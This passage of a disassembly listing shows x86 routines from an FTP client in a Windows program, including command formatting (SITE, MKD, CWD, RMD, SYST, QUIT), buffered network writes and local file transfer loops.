pop esi
retn
; ---------------------------------------------------------------------------
loc_42DCAF: ; CODE XREF: sub_42DC70+38j
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
mov ecx, [esi+8]
push 0
push edx
push eax
push ecx
call sub_436EFA
; ---------------------------------------------------------------------------
loc_42DCC4: ; CODE XREF: sub_42DC70+2Bj
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_42DCD0
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DCD0: ; CODE XREF: sub_42DC70+59j
mov ecx, [esi+38h]
add ecx, edi
mov [esi+38h], ecx
mov edx, ecx
mov ecx, [esi+30h]
test ecx, ecx
jz short loc_42DD0F
mov eax, [esi+3Ch]
test eax, eax
jz short loc_42DD0F
push ebx
mov ebx, [esi+40h]
add ebx, edi
mov [esi+40h], ebx
cmp ebx, eax
pop ebx
jle short loc_42DD0F
mov eax, [esi+34h]
push eax
push edx
push esi
call ecx
add esp, 0Ch
test eax, eax
jnz short loc_42DD08
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DD08: ; CODE XREF: sub_42DC70+93j
mov dword ptr [esi+40h], 0
loc_42DD0F: ; CODE XREF: sub_42DC70+6Fj
; sub_42DC70+76j ...
mov eax, edi
pop edi
pop esi
retn
sub_42DC70 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42DD50 proc near ; CODE XREF: sub_4021F3j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
push edi
cmp dword ptr [esi+18h], 2
jz short loc_42DD61
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DD61: ; CODE XREF: sub_42DD50+Aj
mov eax, [esi+14h]
push esi
test eax, eax
jz short loc_42DD7D
mov eax, [esp+0Ch+arg_4]
mov ecx, [esp+0Ch+arg_0]
push eax
push ecx
call sub_42DE20
add esp, 0Ch
jmp short loc_42DD9A
; ---------------------------------------------------------------------------
loc_42DD7D: ; CODE XREF: sub_42DD50+17j
call sub_42CE80
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
mov ecx, [esi+8]
add esp, 4
push 0
push edx
push eax
push ecx
call sub_436F00
; ---------------------------------------------------------------------------
loc_42DD9A: ; CODE XREF: sub_42DD50+2Bj
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_42DDA6
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DDA6: ; CODE XREF: sub_42DD50+4Fj
mov edx, [esi+38h]
mov eax, [esi+30h]
add edx, edi
test eax, eax
mov [esi+38h], edx
jz short loc_42DDDC
mov ecx, [esi+3Ch]
test ecx, ecx
jz short loc_42DDDC
push ebx
mov ebx, [esi+40h]
add ebx, edi
mov [esi+40h], ebx
cmp ebx, ecx
pop ebx
jle short loc_42DDDC
mov ecx, [esi+34h]
push ecx
push edx
push esi
call eax
add esp, 0Ch
mov dword ptr [esi+40h], 0
loc_42DDDC: ; CODE XREF: sub_42DD50+63j
; sub_42DD50+6Aj ...
mov eax, edi
pop edi
pop esi
retn
sub_42DD50 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42DE20 proc near ; CODE XREF: sub_42DD50+23p
; sub_42DFD0+28p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
mov ebp, [esp+8+arg_8]
push esi
xor esi, esi
xor al, al
mov ecx, [ebp+18h]
push edi
cmp ecx, 2
jz short loc_42DE3C
pop edi
pop esi
pop ebp
or eax, 0FFFFFFFFh
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42DE3C: ; CODE XREF: sub_42DE20+12j
mov ecx, [esp+10h+arg_4]
mov edi, [ebp+14h]
xor ebx, ebx
test ecx, ecx
jle loc_42DF64
loc_42DE4D: ; CODE XREF: sub_42DE20+AFj
mov ecx, [esp+10h+arg_0]
cmp byte ptr [ebx+ecx], 0Ah
jnz short loc_42DE8E
cmp al, 0Dh
jz short loc_42DE8E
cmp esi, 2000h
jnz short loc_42DE89
push ebp
call sub_42CE80
add esp, 4
test eax, eax
jz short loc_42DEEA
mov edx, [ebp+8]
push 0
push esi
push edi
push edx
call sub_436F00
; ---------------------------------------------------------------------------
mov esi, eax
cmp esi, 2000h
jnz short loc_42DEF1
xor esi, esi
loc_42DE89: ; CODE XREF: sub_42DE20+41j
mov byte ptr [edi+esi], 0Dh
inc esi
loc_42DE8E: ; CODE XREF: sub_42DE20+35j
; sub_42DE20+39j
cmp esi, 2000h
jnz short loc_42DEBC
push ebp
call sub_42CE80
add esp, 4
test eax, eax
jz short loc_42DEEA
mov eax, [ebp+8]
push 0
push esi
push edi
push eax
call sub_436F00
; ---------------------------------------------------------------------------
mov esi, eax
cmp esi, 2000h
jnz short loc_42DF11
xor esi, esi
loc_42DEBC: ; CODE XREF: sub_42DE20+74j
mov ecx, [esp+10h+arg_0]
inc esi
mov al, [ebx+ecx]
mov ecx, [esp+10h+arg_4]
mov [edi+esi-1], al
inc ebx
cmp ebx, ecx
jl loc_42DE4D
test esi, esi
jz loc_42DF64
push ebp
call sub_42CE80
add esp, 4
test eax, eax
jnz short loc_42DF31
loc_42DEEA: ; CODE XREF: sub_42DE20+4Ej
; sub_42DE20+81j
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42DEF1: ; CODE XREF: sub_42DE20+65j
nop
call near ptr 77C1F2BCh
mov edx, [eax]
push edx
push esi
push offset aNet_write1Retu ; "net_write(1) returned %d, errno = %d\n"
nop
call near ptr 77C4186Ah
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42DF11: ; CODE XREF: sub_42DE20+98j
nop
call near ptr 77C1F2BCh
mov eax, [eax]
push eax
push esi
push offset aNet_write2Retu ; "net_write(2) returned %d, errno = %d\n"
nop
call near ptr 77C4186Ah
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42DF31: ; CODE XREF: sub_42DE20+C8j
mov ecx, [ebp+8]
push 0
push esi
push edi
push ecx
call sub_436F00
; ---------------------------------------------------------------------------
dw 0F88Bh
dd 2074FE3Bh, 1372E890h, 108B777Fh, 0F8685752h, 90004455h
dd 813911E8h, 0CC48377h, 5FFFC883h, 0C35B5D5Eh
; ---------------------------------------------------------------------------
loc_42DF64: ; CODE XREF: sub_42DE20+27j
; sub_42DE20+B7j
mov eax, [esp+10h+arg_4]
pop edi
pop esi
pop ebp
pop ebx
retn
sub_42DE20 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42DFD0 proc near ; CODE XREF: sub_401BDBj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
mov eax, [esi+18h]
sub eax, 0
jz short loc_42E04B
dec eax
jz short loc_42E000
dec eax
jz short loc_42DFEC
loc_42DFE4: ; CODE XREF: sub_42DFD0+64j
pop edi
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DFEC: ; CODE XREF: sub_42DFD0+12j
mov eax, [esi+14h]
test eax, eax
jz short loc_42E000
push esi
push 0
push 0
call sub_42DE20
add esp, 0Ch
loc_42E000: ; CODE XREF: sub_42DFD0+Fj
; sub_42DFD0+21j
mov eax, [esi+14h]
push ebx
mov ebx, dword_50FAC4
test eax, eax
jz short loc_42E014
push eax
call ebx ; free
add esp, 4
loc_42E014: ; CODE XREF: sub_42DFD0+3Cj
mov eax, [esi+8]
push 2
push eax
call sub_436F9C
; ---------------------------------------------------------------------------
mov ecx, [esi+8]
push ecx
call sub_436F06
; ---------------------------------------------------------------------------
mov edi, [esi+1Ch]
push esi
call ebx ; free
add esp, 4
test edi, edi
pop ebx
jz short loc_42DFE4
push edi
push 32h
mov dword ptr [edi+20h], 0
call sub_42CB10
add esp, 8
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E04B: ; CODE XREF: sub_42DFD0+Cj
mov eax, [esi+20h]
test eax, eax
jz short loc_42E062
push esi
mov dword ptr [esi+1Ch], 0
call sub_401BDB
add esp, 4
loc_42E062: ; CODE XREF: sub_42DFD0+80j
mov edx, [esi+8]
push edx
call sub_436F06
sub_42DFD0 endp
; ---------------------------------------------------------------------------
db 56h
db 90h
db 0E8h, 0A9h, 0E1h
; ---------------------------------------------------------------------------
jg short loc_42E0E9
add esp, 4
xor eax, eax
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E0B0: ; CODE XREF: ___:00401CE4j
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
pop edi
cmp ecx, 100h
jbe short loc_42E0D9
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E0D9: ; CODE XREF: ___:0042E0D0j
push edx
lea eax, [esp+4]
push offset aSiteS ; "SITE %s"
push eax
call near ptr 77C3F931h
loc_42E0E9: ; CODE XREF: ___:0042E070j
nop
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42D1A0
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E130: ; CODE XREF: ___:004016C2j
push esi
mov esi, [esp+8]
push edi
mov edi, [esp+14h]
push edi
push 32h
push offset aSyst ; "SYST"
call sub_42D1A0
add esp, 0Ch
test eax, eax
jnz short loc_42E151
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E151: ; CODE XREF: ___:0042E14Cj
mov eax, [esp+10h]
lea ecx, [edi+48h]
lea edx, [eax-1]
test edx, edx
jz short loc_42E16C
loc_42E15F: ; CODE XREF: ___:0042E16Aj
mov al, [ecx]
cmp al, 20h
jz short loc_42E16C
mov [esi], al
inc esi
inc ecx
dec edx
jnz short loc_42E15F
loc_42E16C: ; CODE XREF: ___:0042E15Dj
; ___:0042E163j
mov byte ptr [esi], 0
pop edi
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E1A0: ; CODE XREF: ___:0040224Dj
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 5
pop edi
cmp ecx, 100h
jbe short loc_42E1C9
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E1C9: ; CODE XREF: ___:0042E1C0j
push edx
lea eax, [esp+4]
push offset aMkdS ; "MKD %s"
push eax
nop
call near ptr 77C3F931h
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42D1A0
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E220: ; CODE XREF: ___:0040225Cj
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 5
pop edi
cmp ecx, 100h
jbe short loc_42E249
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E249: ; CODE XREF: ___:0042E240j
push edx
lea eax, [esp+4]
push offset aCwdS ; "CWD %s"
push eax
nop
call near ptr 77C3F931h
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42D1A0
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E2A0: ; CODE XREF: ___:00401780j
mov eax, [esp+4]
push eax
push 32h
push offset aCdup ; "CDUP"
call sub_42D1A0
add esp, 0Ch
neg eax
sbb eax, eax
neg eax
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E2D0: ; CODE XREF: ___:004021FDj
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 5
pop edi
cmp ecx, 100h
jbe short loc_42E2F9
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E2F9: ; CODE XREF: ___:0042E2F0j
push edx
lea eax, [esp+4]
push offset aRmdS ; "RMD %s"
push eax
nop
call near ptr 77C3F931h
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42D1A0
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E350: ; CODE XREF: ___:0040166Dj
push esi
mov esi, [esp+8]
push edi
mov edi, [esp+14h]
push edi
push 32h
push offset off_4456BC
call sub_42D1A0
add esp, 0Ch
test eax, eax
jnz short loc_42E371
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E371: ; CODE XREF: ___:0042E36Cj
add edi, 44h
push 22h
push edi
nop
call near ptr 77C47660h
add esp, 8
test eax, eax
jnz short loc_42E387
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E387: ; CODE XREF: ___:0042E382j
mov ecx, [esp+10h]
inc eax
lea edx, [ecx-1]
test edx, edx
jz short loc_42E3A5
loc_42E393: ; CODE XREF: ___:0042E3A3j
mov cl, [eax]
test cl, cl
jz short loc_42E3A5
cmp cl, 22h
jz short loc_42E3A5
mov [esi], cl
inc esi
inc eax
dec edx
jnz short loc_42E393
loc_42E3A5: ; CODE XREF: ___:0042E391j
; ___:0042E397j ...
mov byte ptr [esi], 0
pop edi
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E3D0: ; CODE XREF: ___:00401127j
mov eax, [esp+0Ch]
mov ecx, [esp+8]
mov edx, [esp+4]
push 41h
push 1
push eax
push ecx
push edx
call sub_42E400
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E400 proc near ; CODE XREF: ___:0042E3E3p
; ___:0042E663p ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
push ecx
mov eax, [esp+4+arg_0]
push ebx
push ebp
xor ebp, ebp
push esi
push edi
mov edi, [esp+14h+arg_10]
cmp eax, ebp
mov [esp+14h+var_4], 1
jz short loc_42E48A
mov esi, [esp+14h+arg_C]
mov cx, word_4456FC
cmp esi, 4
mov word ptr [esp+14h+arg_10], cx
mov word ptr [esp+14h+arg_10+2], bp
jnz short loc_42E43A
mov byte ptr [esp+14h+arg_10], 72h
loc_42E43A: ; CODE XREF: sub_42E400+33j
cmp edi, 49h
jnz short loc_42E444
mov byte ptr [esp+14h+arg_10+1], 62h
loc_42E444: ; CODE XREF: sub_42E400+3Dj
lea edx, [esp+14h+arg_10]
push edx
push eax
call near ptr 77C3F010h
nop
mov ebx, eax
add esp, 8
cmp ebx, ebp
jnz short loc_42E4A4
push 100h
call near ptr 77C1F2BCh
nop
mov eax, [eax]
push eax
nop
call near ptr 77C371FAh
mov ecx, [esp+1Ch+arg_8]
add esp, 4
add ecx, 44h
push eax
push ecx
call near ptr 77C47A90h
nop
add esp, 0Ch
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42E48A: ; CODE XREF: sub_42E400+19j
mov esi, [esp+14h+arg_C]
cmp esi, 4
jnz short loc_42E49B
mov ebx, dword_50FA84
jmp short loc_42E4A4
; ---------------------------------------------------------------------------
loc_42E49B: ; CODE XREF: sub_42E400+91j
mov edx, dword_50FA84
lea ebx, [edx+20h]
loc_42E4A4: ; CODE XREF: sub_42E400+57j
; sub_42E400+99j
mov ecx, [esp+14h+arg_8]
mov edx, [esp+14h+arg_4]
lea eax, [esp+14h+arg_C]
push eax
push ecx
push edi
push esi
push edx
call sub_401F55
add esp, 14h
test eax, eax
jnz short loc_42E4C7
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42E4C7: ; CODE XREF: sub_42E400+BFj
push 2000h
nop
call near ptr 77C2C407h
add esp, 4
cmp esi, 4
mov edi, eax
jnz short loc_42E53D
mov ebp, dword_50FAA4
push ebx
push 2000h
push 1
push edi
call ebp ; fread
mov esi, eax
add esp, 10h
test esi, esi
jle loc_42E593
loc_42E4FA: ; CODE XREF: sub_42E400+11Fj
mov eax, [esp+14h+arg_C]
push eax
push esi
push edi
call sub_4021F3
add esp, 0Ch
cmp eax, esi
jl short loc_42E523
push ebx
push 2000h
push 1
push edi
call ebp ; fread
mov esi, eax
add esp, 10h
test esi, esi
jg short loc_42E4FA
jmp short loc_42E593
; ---------------------------------------------------------------------------
loc_42E523: ; CODE XREF: sub_42E400+10Bj
push eax
push esi
push offset aShortWritePass ; "short write: passed %d, wrote %d\n"
call near ptr 77C4186Ah
nop
add esp, 0Ch
mov [esp+14h+var_4], 0
jmp short loc_42E593
; ---------------------------------------------------------------------------
loc_42E53D: ; CODE XREF: sub_42E400+DAj
mov ecx, [esp+14h+arg_C]
push ecx
push 2000h
push edi
call sub_402248
add esp, 0Ch
cmp eax, ebp
jle short loc_42E593
mov esi, dword_50FA94
loc_42E55A: ; CODE XREF: sub_42E400+17Dj
push ebx
push eax
push 1
push edi
call esi ; fwrite
add esp, 10h
test eax, eax
jbe short loc_42E581
mov edx, [esp+14h+arg_C]
push edx
push 2000h
push edi
call sub_402248
add esp, 0Ch
cmp eax, ebp
jg short loc_42E55A
jmp short loc_42E593
; ---------------------------------------------------------------------------
loc_42E581: ; CODE XREF: sub_42E400+166j
push offset aLocalfileWrite ; "localfile write"
call near ptr 77C36DF2h
nop
add esp, 4
mov [esp+14h+var_4], ebp
loc_42E593: ; CODE XREF: sub_42E400+F4j
; sub_42E400+121j ...
push edi
nop
call near ptr 77C2C21Bh
push ebx
nop
call near ptr 77C3EEF6h
mov eax, [esp+1Ch+arg_0]
add esp, 8
test eax, eax
jz short loc_42E5B6
push ebx
call near ptr 77C40AB1h
nop
add esp, 4
loc_42E5B6: ; CODE XREF: sub_42E400+1AAj
mov eax, [esp+14h+arg_C]
push eax
call sub_401BDB
mov eax, [esp+18h+var_4]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_42E400 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E650: ; CODE XREF: ___:0040169Fj
mov eax, [esp+0Ch]
mov ecx, [esp+8]
mov edx, [esp+4]
push 41h
push 2
push eax
push ecx
push edx
call sub_42E400
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E680: ; CODE XREF: ___:00401D2Fj
sub esp, 108h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
mov ebx, [esp+110h]
push ebp
push esi
push edi
mov edi, ebx
repne scasb
not ecx
add ecx, 6
mov ebp, 1
cmp ecx, 100h
jbe short loc_42E6B7
pop edi
pop esi
pop ebp
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
loc_42E6B7: ; CODE XREF: ___:0042E6AAj
movsx eax, byte ptr [esp+124h]
mov edi, dword_50FA60
push eax
lea ecx, [esp+1Ch]
push offset dword_445504
push ecx
call edi ; sprintf
mov esi, [esp+134h]
lea edx, [esp+24h]
push esi
push 32h
push edx
call sub_42D1A0
add esp, 18h
test eax, eax
jnz short loc_42E6F8
pop edi
pop esi
pop ebp
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
loc_42E6F8: ; CODE XREF: ___:0042E6EBj
push ebx
lea eax, [esp+1Ch]
push offset dword_445708
push eax
call edi ; sprintf
push esi
lea ecx, [esp+28h]
push 32h
push ecx
call sub_42D1A0
add esp, 18h
test eax, eax
jz short loc_42E754
lea edx, [esp+10h]
lea eax, [esp+14h]
push edx
push eax
add esi, 44h
push offset dword_445700
push esi
nop
call near ptr 77C41B72h
add esp, 10h
cmp eax, 2
jnz short loc_42E754
mov ecx, [esp+120h]
mov edx, [esp+10h]
pop edi
mov eax, ebp
pop esi
pop ebp
mov [ecx], edx
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
loc_42E754: ; CODE XREF: ___:0042E717j
; ___:0042E738j
xor ebp, ebp
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E7B0: ; CODE XREF: ___:004013BBj
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
push edi
mov edi, edx
mov ebx, 1
repne scasb
not ecx
add ecx, 6
cmp ecx, 100h
jbe short loc_42E7E0
pop edi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E7E0: ; CODE XREF: ___:0042E7D5j
push esi
push edx
lea eax, [esp+10h]
push offset dword_445714
push eax
call near ptr 77C3F931h
nop
mov esi, [esp+128h]
lea ecx, [esp+18h]
push esi
push 32h
push ecx
call sub_42D1A0
add esp, 18h
test eax, eax
jnz short loc_42E81B
xor ebx, ebx
pop esi
mov eax, ebx
pop edi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E81B: ; CODE XREF: ___:0042E80Bj
mov edx, [esp+118h]
mov eax, [esp+114h]
add esi, 48h
push edx
push esi
push eax
call near ptr 77C47A90h
nop
add esp, 0Ch
mov eax, ebx
pop esi
pop edi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E880 proc near ; CODE XREF: sub_4016A9j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
arg_C = dword ptr 10h
movsx eax, [esp+arg_8]
mov ecx, [esp+arg_C]
mov edx, [esp+arg_4]
push eax
mov eax, [esp+4+arg_0]
push 3
push ecx
push edx
push eax
call sub_42E400
add esp, 14h
retn
sub_42E880 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E8B0: ; CODE XREF: ___:004016C7j
movsx eax, byte ptr [esp+0Ch]
mov ecx, [esp+10h]
mov edx, [esp+8]
push eax
mov eax, [esp+8]
push 4
push ecx
push edx
push eax
call sub_42E400
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E8E0: ; CODE XREF: ___:00401492j
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
push esi
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
cmp ecx, 100h
ja short loc_42E979
mov ebx, [esp+114h]
or ecx, 0FFFFFFFFh
mov edi, ebx
repne scasb
not ecx
add ecx, 6
cmp ecx, 100h
ja short loc_42E979
mov esi, dword_50FA60
push edx
lea eax, [esp+10h]
push offset dword_44572C
push eax
call esi ; sprintf
mov edi, [esp+124h]
lea ecx, [esp+18h]
push edi
push 33h
push ecx
call sub_42D1A0
add esp, 18h
test eax, eax
jz short loc_42E979
push ebx
lea edx, [esp+10h]
push offset dword_445720
push edx
call esi ; sprintf
push edi
lea eax, [esp+1Ch]
push 32h
push eax
call sub_42D1A0
add esp, 18h
neg eax
sbb eax, eax
pop edi
pop esi
pop ebx
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E979: ; CODE XREF: ___:0042E901j
; ___:0042E91Cj ...
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E9C0: ; CODE XREF: ___:00401C67j
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
pop edi
cmp ecx, 100h
jbe short loc_42E9E9
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E9E9: ; CODE XREF: ___:0042E9E0j
push edx
lea eax, [esp+4]
push offset dword_445738
push eax
nop
call near ptr 77C3F931h
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42D1A0
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42EA40 proc near ; CODE XREF: sub_401D52j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+18h]
test eax, eax
jnz short loc_42EA79
push edi
push esi
push 32h
push offset aQuit ; "QUIT"
call sub_42D1A0
mov eax, [esi+8]
add esp, 0Ch
push eax
call sub_436F06
; ---------------------------------------------------------------------------
mov ecx, [esi+14h]
mov edi, dword_50FAC4
push ecx
call edi ; free
push esi
call edi ; free
add esp, 8
pop edi
loc_42EA79: ; CODE XREF: sub_42EA40+Aj
pop esi
retn
sub_42EA40 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EA90: ; CODE XREF: ___:0040219Ej
push edi
mov edi, [esp+8]
test edi, edi
jnz short loc_42EAA0
mov eax, 16h
pop edi
retn
; ---------------------------------------------------------------------------
loc_42EAA0: ; CODE XREF: ___:0042EA97j
push 1Ch
nop
call near ptr 77C2C407h
add esp, 4
test eax, eax
jnz short loc_42EAB6
mov eax, 0Ch
pop edi
retn
; ---------------------------------------------------------------------------
loc_42EAB6: ; CODE XREF: ___:0042EAADj
mov ecx, 1
mov dword ptr [eax+8], 0
mov dword ptr [eax+0Ch], 0
mov dword ptr [eax+10h], 0
mov [eax+14h], ecx
mov [eax+18h], ecx
mov dword ptr [eax], 0C4C0FFEEh
mov [edi], eax
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EB10: ; CODE XREF: ___:00401514j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_42EB29
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EB29: ; CODE XREF: ___:0042EB20j
mov eax, [esi]
mov dword ptr [eax], 0
mov ecx, [esi]
push ecx
nop
call near ptr 77C2C21Bh
add esp, 4
mov dword ptr [esi], 0
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EB60: ; CODE XREF: ___:004012D5j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
mov eax, [esp+0Ch]
jnz short loc_42EB85
test eax, eax
jz short loc_42EB85
mov ecx, [esi]
pop esi
mov edx, [ecx+0Ch]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42EB85: ; CODE XREF: ___:0042EB74j
; ___:0042EB78j
mov dword ptr [eax], 1
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EBB0: ; CODE XREF: ___:004013ACj
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_42EBC9
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EBC9: ; CODE XREF: ___:0042EBC0j
mov eax, [esp+0Ch]
test eax, eax
jz short loc_42EBDD
cmp eax, 1
jz short loc_42EBDD
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EBDD: ; CODE XREF: ___:0042EBCFj
; ___:0042EBD4j
mov ecx, [esi]
pop esi
mov [ecx+0Ch], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EC00: ; CODE XREF: ___:0040150Fj
mov eax, 28h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EC20: ; CODE XREF: ___:00401825j
mov eax, 28h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EC40: ; CODE XREF: ___:00401348j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_42EC59
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EC59: ; CODE XREF: ___:0042EC50j
mov eax, [esi]
mov edx, [esp+0Ch]
pop esi
mov ecx, [eax+8]
xor eax, eax
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
